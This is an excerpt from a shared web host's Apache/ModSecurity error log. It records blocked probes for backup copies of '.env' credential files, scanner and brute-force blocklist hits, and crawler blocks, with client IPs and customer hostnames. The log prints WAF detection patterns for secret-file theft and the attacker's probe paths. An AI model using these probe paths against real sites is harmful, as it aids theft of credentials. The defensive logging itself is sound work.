.bak)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.bak"] [unique_id "ai3yOymiP80klyS0NnoVYAAAATY"] [Sat Jun 13 18:13:47.623676 2026] [security2:error] [pid 531155:tid 531372] [client 208.84.100.220:55908] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.backup"] [unique_id "ai3yOymiP80klyS0NnoVZQAAAWE"] [Sat Jun 13 18:13:47.623919 2026] [security2:error] [pid 531155:tid 531298] [client 208.84.100.220:55886] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env"] [unique_id "ai3yOymiP80klyS0NnoVZAAAARc"] [Sat Jun 13 18:13:47.842190 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9wb3dlcg== [Sat Jun 13 18:13:47.842619 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9wb3dlcg== [Sat Jun 13 18:13:47.958774 2026] [security2:error] [pid 531155:tid 531379] [client 114.119.133.56:38827] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.resiglass.com.au"] [uri "/ssp/albums/album-9"] [unique_id "ai3yOymiP80klyS0NnoVkwAAAWg"], referer: http://www.resiglass.com.au/ssp/albums/album-9 [Sat Jun 13 18:13:48.067450 2026] [security2:error] [pid 531155:tid 531265] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/config/mail.php"] [unique_id "ai3yPCmiP80klyS0NnoVnAABg20"] [Sat Jun 13 18:13:48.290568 2026] [security2:error] [pid 531155:tid 531282] [remote 17.22.237.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPCmiP80klyS0NnoVrQABF34"] [Sat Jun 13 18:13:48.318717 2026] [security2:error] [pid 531155:tid 531390] [client 114.119.134.146:47323] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.saleclenbuterol.com"] [uri "/index.php/salbutamol-clenbuterol-40-mcg-4box-120tabs/"] [unique_id "ai3yPCmiP80klyS0NnoVsQAAAXM"], referer: https://saleclenbuterol.com/ [Sat Jun 13 18:13:48.362582 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:13:48.362997 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:13:48.583584 2026] [security2:error] [pid 531155:tid 531156] [remote 17.241.227.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPCmiP80klyS0NnoVwQABcgA"] [Sat Jun 13 18:13:48.599242 2026] [security2:error] [pid 531155:tid 531311] [client 208.84.100.220:55990] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.copy"] [unique_id "ai3yPCmiP80klyS0NnoVwwAAASQ"] [Sat Jun 13 18:13:48.604521 2026] [security2:error] [pid 531155:tid 531197] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/config/services.php"] [unique_id "ai3yPCmiP80klyS0NnoVxAABEyk"] [Sat Jun 13 18:13:48.846745 2026] [security2:error] [pid 531155:tid 531391] [client 208.84.100.220:43622] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.swp"] [unique_id "ai3yPCmiP80klyS0NnoV1QAAAXQ"] [Sat Jun 13 18:13:48.849826 2026] [security2:error] [pid 531155:tid 531290] [client 208.84.100.220:43552] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.copy"] [unique_id "ai3yPCmiP80klyS0NnoV1wAAAQ8"] [Sat Jun 13 18:13:48.850364 2026] [security2:error] [pid 531155:tid 531377] [client 208.84.100.220:43588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.backup"] [unique_id "ai3yPCmiP80klyS0NnoV2QAAAWY"] [Sat Jun 13 18:13:48.850524 2026] [security2:error] [pid 531155:tid 531313] [client 208.84.100.220:43606] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production~"] [unique_id "ai3yPCmiP80klyS0NnoV2gAAASY"] [Sat Jun 13 18:13:48.853948 2026] [security2:error] [pid 531155:tid 531354] [client 208.84.100.220:43572] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.old"] [unique_id "ai3yPCmiP80klyS0NnoV3gAAAU8"] [Sat Jun 13 18:13:48.855704 2026] [security2:error] [pid 531155:tid 531376] [client 208.84.100.220:43548] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.orig"] [unique_id "ai3yPCmiP80klyS0NnoV3AAAAWU"] [Sat Jun 13 18:13:48.856152 2026] [security2:error] [pid 531155:tid 531288] [client 208.84.100.220:43620] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.orig"] [unique_id "ai3yPCmiP80klyS0NnoV3QAAAQ0"] [Sat Jun 13 18:13:48.856645 2026] [security2:error] [pid 531155:tid 531402] [client 208.84.100.220:43534] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.swp"] [unique_id "ai3yPCmiP80klyS0NnoV2wAAAX8"] [Sat Jun 13 18:13:48.856689 2026] [security2:error] [pid 531155:tid 531369] [client 208.84.100.220:43564] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.production.bak"] [unique_id "ai3yPCmiP80klyS0NnoV3wAAAV4"] [Sat Jun 13 18:13:48.857010 2026] [security2:error] [pid 531155:tid 531405] [client 208.84.100.220:43506] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.backup"] [unique_id "ai3yPCmiP80klyS0NnoV4QAAAYI"] [Sat Jun 13 18:13:48.857041 2026] [security2:error] [pid 531155:tid 531392] [client 208.84.100.220:43498] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.old"] [unique_id "ai3yPCmiP80klyS0NnoV5wAAAXU"] [Sat Jun 13 18:13:48.857390 2026] [security2:error] [pid 531155:tid 531336] [client 208.84.100.220:43474] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.orig"] [unique_id "ai3yPCmiP80klyS0NnoV5gAAAT0"] [Sat Jun 13 18:13:48.857400 2026] [security2:error] [pid 531155:tid 531297] [client 208.84.100.220:43490] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local.bak"] [unique_id "ai3yPCmiP80klyS0NnoV5AAAARY"] [Sat Jun 13 18:13:48.857426 2026] [security2:error] [pid 531155:tid 531299] [client 208.84.100.220:43466] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env~"] [unique_id "ai3yPCmiP80klyS0NnoV4gAAARg"] [Sat Jun 13 18:13:48.857445 2026] [security2:error] [pid 531155:tid 531400] [client 208.84.100.220:43524] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.local~"] [unique_id "ai3yPCmiP80klyS0NnoV4wAAAX0"] [Sat Jun 13 18:13:48.857909 2026] [security2:error] [pid 531155:tid 531318] [client 208.84.100.220:43472] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.swp"] [unique_id "ai3yPCmiP80klyS0NnoV5QAAASs"] [Sat Jun 13 18:13:48.858176 2026] [security2:error] [pid 531155:tid 531310] [client 208.84.100.220:43482] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "parashakthipeetham.com"] [uri "/.env.copy"] [unique_id "ai3yPCmiP80klyS0NnoV6AAAASM"] [Sat Jun 13 18:13:48.875426 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:48.875726 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:48.974966 2026] [security2:error] [pid 531155:tid 531255] [remote 113.190.40.93:44398] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.40.190.113.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yPCmiP80klyS0NnoV8gABUGM"] [Sat Jun 13 18:13:49.147895 2026] [security2:error] [pid 531155:tid 531190] [remote 17.246.15.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPSmiP80klyS0NnoV_AABVyI"] [Sat Jun 13 18:13:49.272962 2026] [security2:error] [pid 531155:tid 531177] [remote 17.241.75.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPSmiP80klyS0NnoWBgABPhU"] [Sat Jun 13 18:13:49.414475 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:13:49.414844 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:13:49.706097 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.78:65502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:49.706517 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.78:65502] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:49.801644 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.109:63884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:49.801987 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.109:63884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:49.987580 2026] [security2:error] [pid 531155:tid 531220] [remote 17.246.15.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yPSmiP80klyS0NnoWLwABaEA"] [Sat Jun 13 18:13:50.005592 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 